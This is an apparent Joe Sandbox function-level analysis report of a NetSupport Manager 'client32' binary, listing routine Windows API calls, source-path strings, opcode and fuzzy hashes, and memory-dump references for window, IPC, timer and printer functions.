API ID: Thread$CloseHandle$CodeCreateExitObjectOpenSingleWait
String ID:
API String ID: 180989782-0
Opcode ID: f968cd3be34acbbfc001fc2c5c2cf1c984ef6abb93f92428a018694f843edebd
Instruction ID: 262247fb5796f255492f056fed215dfab2d13c04184fcb9cbdc2136a2e7489e8
Opcode Fuzzy Hash: f968cd3be34acbbfc001fc2c5c2cf1c984ef6abb93f92428a018694f843edebd
Instruction Fuzzy Hash: 6901FA75D14219ABDB04DFA8C845BAEBBB8EF08710F108166F924E7284D774AA018B91

Function 110B3090 Relevance: 9.0, APIs: 6, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30A8
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7594), ref: 110B30B5
CloseHandle.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30C8
CloseHandle.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30D5
WaitForSingleObject.KERNEL32(?,000003E8,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30F3
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7594), ref: 110B3100

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: de728af195af138cefa6dff90218103564fc584f7cc06855e29f8d807c559bfa
Instruction ID: 8ed48fa67f8c8c814876f8dc7215a606f8693e2702a4d531ac155f54366f369e
Opcode Fuzzy Hash: de728af195af138cefa6dff90218103564fc584f7cc06855e29f8d807c559bfa
Instruction Fuzzy Hash: 46011A75A087049BE7A0DFB988D4A96F7ECEF58300F11592EE5AAC3200CB78B8448F50

Function 110955C0 Relevance: 9.0, APIs: 6, Instructions: 38COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004C), ref: 110955CE
GetSystemMetrics.USER32(0000004D), ref: 110955D7
GetSystemMetrics.USER32(0000004E), ref: 110955DE
GetSystemMetrics.USER32(00000000), ref: 110955E7
GetSystemMetrics.USER32(0000004F), ref: 110955ED
GetSystemMetrics.USER32(00000001), ref: 110955F5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: fa9c4e77d45f57ef8ba9ddb2250bc784ae709d2778f265b2a0ca7dc9e2878129
Instruction ID: aeea33bb29268792c14f31eb16fa4a6dd0b28b2f7c44b341a1bc9cac054ba08f
Opcode Fuzzy Hash: fa9c4e77d45f57ef8ba9ddb2250bc784ae709d2778f265b2a0ca7dc9e2878129
Instruction Fuzzy Hash: CAF030B1B5131A6BE7009BAA8C51B55BB9CEB48664F008037A71CC7241DAB5A8108BE4

Function 110770E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

MapWindowPoints.USER32(?,00000000,?,00000002), ref: 1107712B

Part of subcall function 11076470: DeferWindowPos.USER32(8B000EA9,00000000,D8E85BC0,33CD335E,?,00000000,33CD335E,110771C6), ref: 110764B3

EqualRect.USER32(?,?), ref: 1107713C
SetWindowPos.USER32(00000000,00000000,?,33CD335E,D8E85BC0,8B000EA9,00000014,?,?,?,?,?,1107731A,00000000,?), ref: 11077196

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11077172
m_hWnd, xrefs: 11077177

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$DeferEqualPointsRect
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2754115966-2830328467
Opcode ID: 99985b2635142920f8b9c22496a84f2b0050643658386b35a5a33d160634cd24
Instruction ID: 41b5b1a8551b5e1f2f99f8414896ea4fcac58e3e889cf17ca758b789060a613c
Opcode Fuzzy Hash: 99985b2635142920f8b9c22496a84f2b0050643658386b35a5a33d160634cd24
Instruction Fuzzy Hash: E0413EB5A006099FDB14CFA9C884EAAFBF5FF88704F108559E9559B344D770AD00CBA4

Function 111457A0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111COMMONLIBRARYCODE

Download Yara Rule

Strings

%s: , xrefs: 1114584A
CLIENT32, xrefs: 111457E0, 1114583F

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: HandleModule
String ID: %s: $CLIENT32
API String ID: 4139908857-407627211
Opcode ID: 62a094a11364d479d28b80ef5aae76f7f8a7792226ee52ac438638c336c03449
Instruction ID: 56bb3dc9115475832d2b4b6b230f146ae0a9f7ed1e193da0a21f03333bda17cd
Opcode Fuzzy Hash: 62a094a11364d479d28b80ef5aae76f7f8a7792226ee52ac438638c336c03449
Instruction Fuzzy Hash: 5941153490012B9BD705CF69DC58AEEFBB5EF85709F2046A4E82A87641DB31A64DCF90

Function 11033760 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 11033774
_strncpy.LIBCMT ref: 110337B4
wsprintfA.USER32 ref: 11033822
_strncpy.LIBCMT ref: 1103387A

Strings

%s (%s), xrefs: 11033819

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy$wsprintf
String ID: %s (%s)
API String ID: 2895084632-1363028141
Opcode ID: 9f1f6563b36f78a1914431cce1447dd35063224e54729c55a970a140fe82f433
Instruction ID: 90004c4662333843f344f99c31dc4a67423089d3fb31431f761f7f2fe8be3174
Opcode Fuzzy Hash: 9f1f6563b36f78a1914431cce1447dd35063224e54729c55a970a140fe82f433
Instruction Fuzzy Hash: CF31F3B4E0834A9FE721CF24D8C0BA7BBE8AF45709F004958E9458FB81E7B5E514C7A1

Function 1109D720 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91windowthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageA.USER32(11026AA5,752BF08B,68575608,11198F6C), ref: 1109D796
SendMessageA.USER32(00000000,752BF08B,68575608,11198F6C), ref: 1109D7CF

Part of subcall function 1109D650: IsWindow.USER32(?), ref: 1109D66F
Part of subcall function 1109D650: GetClassNameA.USER32(?,?,00000040), ref: 1109D680
Part of subcall function 1109D650: FindWindowA.USER32(?,00000000), ref: 1109D6C1
Part of subcall function 1109D650: Sleep.KERNEL32(?,?,?,?,?,?,?,?,?,1109E8E9,000001F4,00000006,?,11066C00,0000048C,00000001), ref: 1109D6DC
Part of subcall function 1109D650: FindWindowA.USER32(?,00000000), ref: 1109D6ED

PostMessageA.USER32(00000000,752BF08B,68575608,11198F6C), ref: 1109D7EB

Strings

m_cds.cbData < m_pSharedHeader->dwDataLen - sizeof(IPCData), xrefs: 1109D772
..\CTL32\ipc.cpp, xrefs: 1109D76D

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageWindow$FindPost$ClassNameSendSleepThread
String ID: ..\CTL32\ipc.cpp$m_cds.cbData < m_pSharedHeader->dwDataLen - sizeof(IPCData)
API String ID: 3524374798-1411620790
Opcode ID: 67c5e620853e1d11e626b2d2fc78237df1a555fe25ff6300bbbfefdcee193b2a
Instruction ID: 467c52180ee9b65f1f143bc83655d8e0b60a3a0454055de02c0751fb0dd48fa7
Opcode Fuzzy Hash: 67c5e620853e1d11e626b2d2fc78237df1a555fe25ff6300bbbfefdcee193b2a
Instruction Fuzzy Hash: 0521737974064AAFD314CF58E8D4D6AF3E9FB88324B10862AE55987A40D730FC50DB60

Function 11033470 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 1103347E
_strncpy.LIBCMT ref: 1103348D
wsprintfA.USER32 ref: 110334F4
_strncpy.LIBCMT ref: 11033545

Strings

%s (%s), xrefs: 110334EE

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy$wsprintf
String ID: %s (%s)
API String ID: 2895084632-1363028141
Opcode ID: f9f6e3310434217ef4c8c46f8203760207b9c186a0c62b9b29997845a76e1ea2
Instruction ID: f87c7f942544fa5609db8c81607a4340159a62b7cf85849620d444029de2b445
Opcode Fuzzy Hash: f9f6e3310434217ef4c8c46f8203760207b9c186a0c62b9b29997845a76e1ea2
Instruction Fuzzy Hash: 60317376A04702AFC314DF65C8C0ED3B7A9BF89318B00591DE54A87E41E772F465CB94

Function 11143110 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000), ref: 1114314B
_strrchr.LIBCMT ref: 1114315A
_strrchr.LIBCMT ref: 1114316A
wsprintfA.USER32 ref: 11143185

Part of subcall function 111456A0: GetModuleHandleA.KERNEL32(NSMTRACE,11194AB8), ref: 111456BA

Strings

CLIENT32, xrefs: 11143180, 1114318E, 11143195, 111431C2

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Module_strrchr$FileHandleNamewsprintf
String ID: CLIENT32
API String ID: 2529650285-3575452709
Opcode ID: 832b53a00f043e857d3b8e09e9a2ce5d770147cd639c4bf1822df3017942b825
Instruction ID: d978b5afe12e8555e920acd6faf46f6bc40337599c773746d871781ff4fb06a8
Opcode Fuzzy Hash: 832b53a00f043e857d3b8e09e9a2ce5d770147cd639c4bf1822df3017942b825
Instruction Fuzzy Hash: DD21DD31A182698FE712EF348D407DAFBB4DF15B0CF2000D8D8850B182D7716885C7A0

Function 1104D4D0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 72timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00000000,00000001), ref: 1104D51F

Part of subcall function 11037F50: wsprintfA.USER32 ref: 11037FBE
Part of subcall function 11037F50: SetDlgItemTextA.USER32(?,?,?), ref: 1103808F

Strings

Client, xrefs: 1104D534
AckDlgTimeoutAccept, xrefs: 1104D52F
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1104D507
m_hWnd, xrefs: 1104D50C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemKillTextTimerwsprintf
String ID: AckDlgTimeoutAccept$Client$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1646146092-175777528
Opcode ID: f215e8b6413442d04b3451991cc880a85c16dd1b79b50f35b06b58bef8d6d570
Instruction ID: d5468b0f3d8a416eff1aa5c481de97aef7fe48a1706f439c4557e335cb460193
Opcode Fuzzy Hash: f215e8b6413442d04b3451991cc880a85c16dd1b79b50f35b06b58bef8d6d570
Instruction Fuzzy Hash: 33112679B0070AABE710CAA5DC80FAFB3D9AB94718F204439FA1587680DA70F841C7A5

Function 11065340 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

GetProfileStringA.KERNEL32(Windows,Device,No default printer,,LPT1:,?,00000050), ref: 11065366
_memmove.LIBCMT ref: 110653B1

Strings

Device, xrefs: 1106535C
No default printer,,LPT1:, xrefs: 11065357
Windows, xrefs: 11065361

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ProfileString_memmove
String ID: Device$No default printer,,LPT1:$Windows
API String ID: 1665476579-2460060945
Opcode ID: b42f47fad53366f1e4ac447008a1a2d6fd591c8f9db6545ab0f545fe689f24a8
Instruction ID: a358cf5610f4a81608be9fe47ec1da84b056d0ceaed1d9bd2f397f709d6f9fc8
Opcode Fuzzy Hash: b42f47fad53366f1e4ac447008a1a2d6fd591c8f9db6545ab0f545fe689f24a8
Instruction Fuzzy Hash: 0E119E35D002669AD700CFB0DC45BFEBBACDF01788F144158DC869B240EAF22609C3E1

Function 111317A0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 58COMMON

Download Yara Rule

APIs

FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 111317AE

Strings

DisableRunplugin, xrefs: 111317E8
Check9xLogon - [bLoggedIn: %u] send command %d to connections, xrefs: 11131822
Client, xrefs: 111317ED
Shell_TrayWnd, xrefs: 111317A9

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FindWindow
String ID: Check9xLogon - [bLoggedIn: %u] send command %d to connections$Client$DisableRunplugin$Shell_TrayWnd
API String ID: 134000473-1587978603
Opcode ID: 005ebd3838b9853926394f1176bd741e02b5462fb98bbae0602bbe92db2bf6b2
Instruction ID: 7cc168f205ac9f83591635f10e1202901ad1310e74e2146c021d4d98835a13fc
Opcode Fuzzy Hash: 005ebd3838b9853926394f1176bd741e02b5462fb98bbae0602bbe92db2bf6b2
Instruction Fuzzy Hash: 9311067971131AAAEB059BD6CD85BBDF6789B4032EF410069E92096188EB70D444C751

Function 11107990 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56sleepfileCOMMON

Download Yara Rule

